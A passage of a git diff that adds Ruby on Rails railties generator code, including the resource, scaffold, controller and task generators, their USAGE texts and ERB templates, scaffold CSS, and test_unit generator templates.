+  ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "/files"
+  ActiveSupport::TestCase.fixtures :all
+end
diff --git a/railties/lib/rails/generators/rails/resource/USAGE b/railties/lib/rails/generators/rails/resource/USAGE
new file mode 100644
index 0000000000..e359cd574f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource/USAGE
@@ -0,0 +1,23 @@
+Description:
+    Stubs out a new resource including an empty model and controller suitable
+    for a restful, resource-oriented application. Pass the singular model name,
+    either CamelCased or under_scored, as the first argument, and an optional
+    list of attribute pairs.
+
+    Attribute pairs are field:type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the model immediately.
+
+    This generator invokes your configured ORM and test framework, besides
+    creating helpers and add routes to config/routes.rb.
+
+    Unlike the scaffold generator, the resource generator does not create
+    views or add any methods to the generated controller.
+
+Examples:
+    `rails generate resource post` # no attributes
+    `rails generate resource post title:string body:text published:boolean`
+    `rails generate resource purchase order_id:integer amount:decimal`
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb
new file mode 100644
index 0000000000..fa700c598a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb
@@ -0,0 +1,19 @@
+require_relative "../../resource_helpers"
+require_relative "../model/model_generator"
+
+module Rails
+  module Generators
+    class ResourceGenerator < ModelGenerator # :nodoc:
+      include ResourceHelpers
+
+      hook_for :resource_controller, required: true do |controller|
+        invoke controller, [ controller_name, options[:actions] ]
+      end
+
+      class_option :actions, type: :array, banner: "ACTION ACTION", default: [],
+                             desc: "Actions for the resource controller"
+
+      hook_for :resource_route, required: true
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
new file mode 100644
index 0000000000..42705107ae
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -0,0 +1,51 @@
+module Rails
+  module Generators
+    class ResourceRouteGenerator < NamedBase # :nodoc:
+      # Properly nests namespaces passed into a generator
+      #
+      #   $ rails generate resource admin/users/products
+      #
+      # should give you
+      #
+      #   namespace :admin do
+      #     namespace :users do
+      #       resources :products
+      #     end
+      #   end
+      def add_resource_route
+        return if options[:actions].present?
+
+        # iterates over all namespaces and opens up blocks
+        regular_class_path.each_with_index do |namespace, index|
+          write("namespace :#{namespace} do", index + 1)
+        end
+
+        # inserts the primary resource
+        write("resources :#{file_name.pluralize}", route_length + 1)
+
+        # ends blocks
+        regular_class_path.each_index do |index|
+          write("end", route_length - index)
+        end
+
+        # route prepends two spaces onto the front of the string that is passed, this corrects that.
+        # Also it adds a \n to the end of each line, as route already adds that
+        # we need to correct that too.
+        route route_string[2..-2]
+      end
+
+      private
+        def route_string
+          @route_string ||= ""
+        end
+
+        def write(str, indent)
+          route_string << "#{"  " * indent}#{str}\n"
+        end
+
+        def route_length
+          regular_class_path.length
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
new file mode 100644
index 0000000000..c9283eda87
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -0,0 +1,41 @@
+Description:
+    Scaffolds an entire resource, from model and migration to controller and
+    views, along with a full test suite. The resource is ready to use as a
+    starting point for your RESTful, resource-oriented application.
+
+    Pass the name of the model (in singular form), either CamelCased or
+    under_scored, as the first argument, and an optional list of attribute
+    pairs.
+
+    Attributes are field arguments specifying the model's attributes. You can
+    optionally pass the type and an index to each field. For instance:
+    'title body:text tracking_id:integer:uniq' will generate a title field of
+    string type, a body with text type and a tracking_id as an integer with an
+    unique index. "index" could also be given instead of "uniq" if one desires
+    a non unique index.
+
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model,
+    controller, views, and test suite for use with Active Model
+    has_secure_password (assuming they are using Rails defaults).
+
+    Timestamps are added by default, so you don't have to specify them by hand
+    as 'created_at:datetime updated_at:datetime'.
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the resource immediately.
+
+    For example, 'scaffold post title body:text published:boolean' gives
+    you a model with those three attributes, a controller that handles
+    the create/show/update/destroy, forms to create and edit your posts, and
+    an index that lists them all, as well as a resources :posts declaration
+    in config/routes.rb.
+
+    If you want to remove all the generated files, run
+    'rails destroy scaffold ModelName'.
+
+Examples:
+    `rails generate scaffold post`
+    `rails generate scaffold post title:string body:text published:boolean`
+    `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
+    `rails generate scaffold user email:uniq password:digest`
diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000000..3f92af4295
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
@@ -0,0 +1,34 @@
+require_relative "../resource/resource_generator"
+
+module Rails
+  module Generators
+    class ScaffoldGenerator < ResourceGenerator # :nodoc:
+      remove_hook_for :resource_controller
+      remove_class_option :actions
+
+      class_option :api, type: :boolean
+      class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
+      class_option :stylesheet_engine, desc: "Engine for Stylesheets"
+      class_option :assets, type: :boolean
+      class_option :resource_route, type: :boolean
+      class_option :scaffold_stylesheet, type: :boolean
+
+      def handle_skip
+        @options = @options.merge(stylesheets: false) unless options[:assets]
+        @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets] && options[:scaffold_stylesheet]
+      end
+
+      hook_for :scaffold_controller, required: true
+
+      hook_for :assets do |assets|
+        invoke assets, [controller_name]
+      end
+
+      hook_for :stylesheet_engine do |stylesheet_engine|
+        if behavior == :invoke
+          invoke stylesheet_engine, [controller_name]
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
new file mode 100644
index 0000000000..cd4f3de38d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
@@ -0,0 +1,80 @@
+body {
+  background-color: #fff;
+  color: #333;
+  margin: 33px;
+}
+
+body, p, ol, ul, td {
+  font-family: verdana, arial, helvetica, sans-serif;
+  font-size: 13px;
+  line-height: 18px;
+}
+
+pre {
+  background-color: #eee;
+  padding: 10px;
+  font-size: 11px;
+}
+
+a {
+  color: #000;
+}
+
+a:visited {
+  color: #666;
+}
+
+a:hover {
+  color: #fff;
+  background-color: #000;
+}
+
+th {
+  padding-bottom: 5px;
+}
+
+td {
+  padding: 0 5px 7px;
+}
+
+div.field,
+div.actions {
+  margin-bottom: 10px;
+}
+
+#notice {
+  color: green;
+}
+
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+#error_explanation {
+  width: 450px;
+  border: 2px solid red;
+  padding: 7px 7px 0;
+  margin-bottom: 20px;
+  background-color: #f0f0f0;
+}
+
+#error_explanation h2 {
+  text-align: left;
+  font-weight: bold;
+  padding: 5px 5px 5px 15px;
+  font-size: 12px;
+  margin: -7px -7px 0;
+  background-color: #c00;
+  color: #fff;
+}
+
+#error_explanation ul li {
+  font-size: 12px;
+  list-style: square;
+}
+
+label {
+  display: block;
+}
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/USAGE b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
new file mode 100644
index 0000000000..28f229510b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
@@ -0,0 +1,19 @@
+Description:
+    Stubs out a scaffolded controller, its seven RESTful actions and related
+    views. Pass the model name, either CamelCased or under_scored. The
+    controller name is retrieved as a pluralized version of the model name.
+
+    To create a controller within a module, specify the model name as a
+    path like 'parent_module/controller_name'.
+
+    This generates a controller class in app/controllers and invokes helper,
+    template engine and test framework generators.
+
+Example:
+    `rails generate scaffold_controller CreditCard`
+
+    Credit card controller with URLs like /credit_cards.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/index.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
new file mode 100644
index 0000000000..291a208498
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -0,0 +1,35 @@
+require_relative "../../resource_helpers"
+
+module Rails
+  module Generators
+    class ScaffoldControllerGenerator < NamedBase # :nodoc:
+      include ResourceHelpers
+
+      check_class_collision suffix: "Controller"
+
+      class_option :helper, type: :boolean
+      class_option :orm, banner: "NAME", type: :string, required: true,
+                         desc: "ORM to generate the controller for"
+      class_option :api, type: :boolean,
+                         desc: "Generates API controller"
+
+      argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+      def create_controller_files
+        template_file = options.api? ? "api_controller.rb" : "controller.rb"
+        template template_file, File.join("app/controllers", controller_class_path, "#{controller_file_name}_controller.rb")
+      end
+
+      hook_for :template_engine, as: :scaffold do |template_engine|
+        invoke template_engine unless options.api?
+      end
+
+      hook_for :test_framework, as: :scaffold
+
+      # Invoke the helper using the controller name (pluralized)
+      hook_for :helper, as: :scaffold do |invoked|
+        invoke invoked, [ controller_name ]
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb
new file mode 100644
index 0000000000..400afec6dc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb
@@ -0,0 +1,61 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_path %>/application_controller"
+
+<% end -%>
+<% module_namespacing do -%>
+class <%= controller_class_name %>Controller < ApplicationController
+  before_action :set_<%= singular_table_name %>, only: [:show, :update, :destroy]
+
+  # GET <%= route_url %>
+  def index
+    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
+
+    render json: <%= "@#{plural_table_name}" %>
+  end
+
+  # GET <%= route_url %>/1
+  def show
+    render json: <%= "@#{singular_table_name}" %>
+  end
+
+  # POST <%= route_url %>
+  def create
+    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
+
+    if @<%= orm_instance.save %>
+      render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %>
+    else
+      render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity
+    end
+  end
+
+  # PATCH/PUT <%= route_url %>/1
+  def update
+    if @<%= orm_instance.update("#{singular_table_name}_params") %>
+      render json: <%= "@#{singular_table_name}" %>
+    else
+      render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity
+    end
+  end
+
+  # DELETE <%= route_url %>/1
+  def destroy
+    @<%= orm_instance.destroy %>
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_<%= singular_table_name %>
+      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
+    end
+
+    # Only allow a trusted parameter "white list" through.
+    def <%= "#{singular_table_name}_params" %>
+      <%- if attributes_names.empty? -%>
+      params.fetch(:<%= singular_table_name %>, {})
+      <%- else -%>
+      params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+      <%- end -%>
+    end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
new file mode 100644
index 0000000000..42b9e34274
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -0,0 +1,68 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_path %>/application_controller"
+
+<% end -%>
+<% module_namespacing do -%>
+class <%= controller_class_name %>Controller < ApplicationController
+  before_action :set_<%= singular_table_name %>, only: [:show, :edit, :update, :destroy]
+
+  # GET <%= route_url %>
+  def index
+    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
+  end
+
+  # GET <%= route_url %>/1
+  def show
+  end
+
+  # GET <%= route_url %>/new
+  def new
+    @<%= singular_table_name %> = <%= orm_class.build(class_name) %>
+  end
+
+  # GET <%= route_url %>/1/edit
+  def edit
+  end
+
+  # POST <%= route_url %>
+  def create
+    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
+
+    if @<%= orm_instance.save %>
+      redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
+    else
+      render :new
+    end
+  end
+
+  # PATCH/PUT <%= route_url %>/1
+  def update
+    if @<%= orm_instance.update("#{singular_table_name}_params") %>
+      redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
+    else
+      render :edit
+    end
+  end
+
+  # DELETE <%= route_url %>/1
+  def destroy
+    @<%= orm_instance.destroy %>
+    redirect_to <%= index_helper %>_url, notice: <%= "'#{human_name} was successfully destroyed.'" %>
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_<%= singular_table_name %>
+      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
+    end
+
+    # Only allow a trusted parameter "white list" through.
+    def <%= "#{singular_table_name}_params" %>
+      <%- if attributes_names.empty? -%>
+      params.fetch(:<%= singular_table_name %>, {})
+      <%- else -%>
+      params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+      <%- end -%>
+    end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/system_test/USAGE b/railties/lib/rails/generators/rails/system_test/USAGE
new file mode 100644
index 0000000000..f11a99e008
--- /dev/null
+++ b/railties/lib/rails/generators/rails/system_test/USAGE
@@ -0,0 +1,10 @@
+Description:
+    Stubs out a new system test. Pass the name of the test, either
+    CamelCased or under_scored, as an argument.
+
+    This generator invokes the current system tool, which defaults to
+    TestUnit.
+
+Example:
+    `rails generate system_test GeneralStories` creates a GeneralStories
+    system test in test/system/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/system_test/system_test_generator.rb b/railties/lib/rails/generators/rails/system_test/system_test_generator.rb
new file mode 100644
index 0000000000..901120e892
--- /dev/null
+++ b/railties/lib/rails/generators/rails/system_test/system_test_generator.rb
@@ -0,0 +1,7 @@
+module Rails
+  module Generators
+    class SystemTestGenerator < NamedBase # :nodoc:
+      hook_for :system_tests, as: :system
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/task/USAGE b/railties/lib/rails/generators/rails/task/USAGE
new file mode 100644
index 0000000000..dbe9bbaf08
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/USAGE
@@ -0,0 +1,9 @@
+Description:
+    Stubs out a new Rake task. Pass the namespace name, and a list of tasks as arguments.
+
+    This generates a task file in lib/tasks.
+
+Example:
+    `rails generate task feeds fetch erase add`
+
+        Task:      lib/tasks/feeds.rake
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/task/task_generator.rb b/railties/lib/rails/generators/rails/task/task_generator.rb
new file mode 100644
index 0000000000..bb96bdf0dd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/task_generator.rb
@@ -0,0 +1,11 @@
+module Rails
+  module Generators
+    class TaskGenerator < NamedBase # :nodoc:
+      argument :actions, type: :array, default: [], banner: "action action"
+
+      def create_task_files
+        template "task.rb", File.join("lib/tasks", "#{file_name}.rake")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/task/templates/task.rb b/railties/lib/rails/generators/rails/task/templates/task.rb
new file mode 100644
index 0000000000..1e3ed5f158
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/templates/task.rb
@@ -0,0 +1,8 @@
+namespace :<%= file_name %> do
+<% actions.each do |action| -%>
+  desc "TODO"
+  task <%= action %>: :environment do
+  end
+
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
new file mode 100644
index 0000000000..170da6cb0d
--- /dev/null
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -0,0 +1,85 @@
+require_relative "active_model"
+require_relative "model_helpers"
+
+module Rails
+  module Generators
+    # Deal with controller names on scaffold and add some helpers to deal with
+    # ActiveModel.
+    module ResourceHelpers # :nodoc:
+      def self.included(base) #:nodoc:
+        base.include(Rails::Generators::ModelHelpers)
+        base.class_option :model_name, type: :string, desc: "ModelName to be used"
+      end
+
+      # Set controller variables on initialization.
+      def initialize(*args) #:nodoc:
+        super
+        controller_name = name
+        if options[:model_name]
+          self.name = options[:model_name]
+          assign_names!(name)
+        end
+
+        assign_controller_names!(controller_name.pluralize)
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :controller_name, :controller_file_name
+
+      private
+
+        def controller_class_path
+          if options[:model_name]
+            @controller_class_path
+          else
+            class_path
+          end
+        end
+
+        def assign_controller_names!(name)
+          @controller_name = name
+          @controller_class_path = name.include?("/") ? name.split("/") : name.split("::")
+          @controller_class_path.map!(&:underscore)
+          @controller_file_name = @controller_class_path.pop
+        end
+
+        def controller_file_path
+          @controller_file_path ||= (controller_class_path + [controller_file_name]).join("/")
+        end
+
+        def controller_class_name
+          (controller_class_path + [controller_file_name]).map!(&:camelize).join("::")
+        end
+
+        def controller_i18n_scope
+          @controller_i18n_scope ||= controller_file_path.tr("/", ".")
+        end
+
+        # Loads the ORM::Generators::ActiveModel class. This class is responsible
+        # to tell scaffold entities how to generate a specific method for the
+        # ORM. Check Rails::Generators::ActiveModel for more information.
+        def orm_class
+          @orm_class ||= begin
+            # Raise an error if the class_option :orm was not defined.
+            unless self.class.class_options[:orm]
+              raise "You need to have :orm as class option to invoke orm_class and orm_instance"
+            end
+
+            begin
+              "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize
+            rescue NameError
+              Rails::Generators::ActiveModel
+            end
+          end
+        end
+
+        # Initialize ORM::Generators::ActiveModel to access instance methods.
+        def orm_instance(name = singular_table_name)
+          @orm_instance ||= orm_class.new(name)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
new file mode 100644
index 0000000000..6cebd217a7
--- /dev/null
+++ b/railties/lib/rails/generators/test_case.rb
@@ -0,0 +1,35 @@
+require_relative "../generators"
+require_relative "testing/behaviour"
+require_relative "testing/setup_and_teardown"
+require_relative "testing/assertions"
+require "fileutils"
+
+module Rails
+  module Generators
+    # Disable color in output. Easier to debug.
+    no_color!
+
+    # This class provides a TestCase for testing generators. To setup, you need
+    # just to configure the destination and set which generator is being tested:
+    #
+    #   class AppGeneratorTest < Rails::Generators::TestCase
+    #     tests AppGenerator
+    #     destination File.expand_path("../tmp", __dir__)
+    #   end
+    #
+    # If you want to ensure your destination root is clean before running each test,
+    # you can set a setup callback:
+    #
+    #   class AppGeneratorTest < Rails::Generators::TestCase
+    #     tests AppGenerator
+    #     destination File.expand_path("../tmp", __dir__)
+    #     setup :prepare_destination
+    #   end
+    class TestCase < ActiveSupport::TestCase
+      include Rails::Generators::Testing::Behaviour
+      include Rails::Generators::Testing::SetupAndTeardown
+      include Rails::Generators::Testing::Assertions
+      include FileUtils
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit.rb b/railties/lib/rails/generators/test_unit.rb
new file mode 100644
index 0000000000..986e673611
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit.rb
@@ -0,0 +1,8 @@
+require_relative "named_base"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class Base < Rails::Generators::NamedBase # :nodoc:
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
new file mode 100644
index 0000000000..72a650e7d9
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
@@ -0,0 +1,15 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class ControllerGenerator < Base # :nodoc:
+      argument :actions, type: :array, default: [], banner: "action action"
+      check_class_collision suffix: "ControllerTest"
+
+      def create_test_files
+        template "functional_test.rb",
+                 File.join("test/controllers", class_path, "#{file_name}_controller_test.rb")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
new file mode 100644
index 0000000000..ff41fef9e9
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
@@ -0,0 +1,23 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>ControllerTest < ActionDispatch::IntegrationTest
+<% if mountable_engine? -%>
+  include Engine.routes.url_helpers
+
+<% end -%>
+<% if actions.empty? -%>
+  # test "the truth" do
+  #   assert true
+  # end
+<% else -%>
+<% actions.each do |action| -%>
+  test "should get <%= action %>" do
+    get <%= url_helper_prefix %>_<%= action %>_url
+    assert_response :success
+  end
+
+<% end -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
new file mode 100644
index 0000000000..abc3615cfd
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
@@ -0,0 +1,26 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class GeneratorGenerator < Base # :nodoc:
+      check_class_collision suffix: "GeneratorTest"
+
+      class_option :namespace, type: :boolean, default: true,
+                               desc: "Namespace generator under lib/generators/name"
+
+      def create_generator_files
+        template "generator_test.rb", File.join("test/lib/generators", class_path, "#{file_name}_generator_test.rb")
+      end
+
+    private
+
+      def generator_path
+        if options[:namespace]
+          File.join("generators", regular_class_path, file_name, "#{file_name}_generator")
+        else
+          File.join("generators", regular_class_path, "#{file_name}_generator")
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
new file mode 100644
index 0000000000..a7f1fc4fba
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
@@ -0,0 +1,16 @@
+require 'test_helper'
+require '<%= generator_path %>'
+
+<% module_namespacing do -%>
+class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
+  tests <%= class_name %>Generator
+  destination Rails.root.join('tmp/generators')
+  setup :prepare_destination
+
+  # test "generator runs without errors" do
+  #   assert_nothing_raised do
+  #     run_generator ["arguments"]
+  #   end
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
new file mode 100644
index 0000000000..2020e7785e
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
@@ -0,0 +1,9 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class HelperGenerator < Base # :nodoc:
+      # Rails does not generate anything here.
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
new file mode 100644
index 0000000000..a31a795212
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
@@ -0,0 +1,13 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class IntegrationGenerator < Base # :nodoc:
+      check_class_collision suffix: "Test"
+
+      def create_test_files
+        template "integration_test.rb", File.join("test/integration", class_path, "#{file_name}_test.rb")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
new file mode 100644
index 0000000000..118e0f1271
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/job/job_generator.rb b/railties/lib/rails/generators/test_unit/job/job_generator.rb
new file mode 100644
index 0000000000..f3ea7cd170
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/job_generator.rb
@@ -0,0 +1,13 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class JobGenerator < Base # :nodoc:
+      check_class_collision suffix: "JobTest"
+
+      def create_test_file
+        template "unit_test.rb.erb", File.join("test/jobs", class_path, "#{file_name}_job_test.rb")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
new file mode 100644
index 0000000000..f5351d0ec6
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>JobTest < ActiveJob::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
new file mode 100644
index 0000000000..274755b057
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -0,0 +1,26 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class MailerGenerator < Base # :nodoc:
+      argument :actions, type: :array, default: [], banner: "method method"
+
+      def check_class_collision
+        class_collisions "#{class_name}MailerTest", "#{class_name}MailerPreview"
+      end
+
+      def create_test_files
+        template "functional_test.rb", File.join("test/mailers", class_path, "#{file_name}_mailer_test.rb")
+      end
+
+      def create_preview_files
+        template "preview.rb", File.join("test/mailers/previews", class_path, "#{file_name}_mailer_preview.rb")
+      end
+
+      private
+        def file_name
+          @_file_name ||= super.gsub(/_mailer/i, "")
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
new file mode 100644
index 0000000000..a2f2d30de5
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
@@ -0,0 +1,21 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>MailerTest < ActionMailer::TestCase
+<% actions.each do |action| -%>
+  test "<%= action %>" do
+    mail = <%= class_name %>Mailer.<%= action %>
+    assert_equal <%= action.to_s.humanize.inspect %>, mail.subject
+    assert_equal ["to@example.org"], mail.to
+    assert_equal ["from@example.com"], mail.from
+    assert_match "Hi", mail.body.encoded
+  end
+
+<% end -%>
+<% if actions.blank? -%>
+  # test "the truth" do
+  #   assert true
+  # end
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000000..b063cbc47b
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>_mailer
+class <%= class_name %>MailerPreview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+  # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>_mailer/<%= action %>
+  def <%= action %>
+    <%= class_name %>Mailer.<%= action %>
+  end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/rails/generators/test_unit/model/model_generator.rb
new file mode 100644
index 0000000000..fef640f947
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/model_generator.rb
@@ -0,0 +1,35 @@
+require_relative "../../test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class ModelGenerator < Base # :nodoc:
+      RESERVED_YAML_KEYWORDS = %w(y yes n no true false on off null)
+
+      argument :attributes, type: :array, default: [], banner: "field:type field:type"
+      class_option :fixture, type: :boolean
+
+      check_class_collision suffix: "Test"
+
+      def create_test_file
+        template "unit_test.rb", File.join("test/models", class_path, "#{file_name}_test.rb")
+      end
+
+      hook_for :fixture_replacement
+
+      def create_fixture_file
+        if options[:fixture] && options[:fixture_replacement].nil?
+          template "fixtures.yml", File.join("test/fixtures", class_path, "#{fixture_file_name}.yml")
+        end
+      end
+
+      private
+        def yaml_key_value(key, value)
+          if RESERVED_YAML_KEYWORDS.include?(key.downcase)
+            "'#{key}': #{value}"
+          else
+            "#{key}: #{value}"
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
new file mode 100644
index 0000000000..0681780c97
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
@@ -0,0 +1,29 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+<% unless attributes.empty? -%>
+<% %w(one two).each do |name| %>
+<%= name %>:
+<% attributes.each do |attribute| -%>
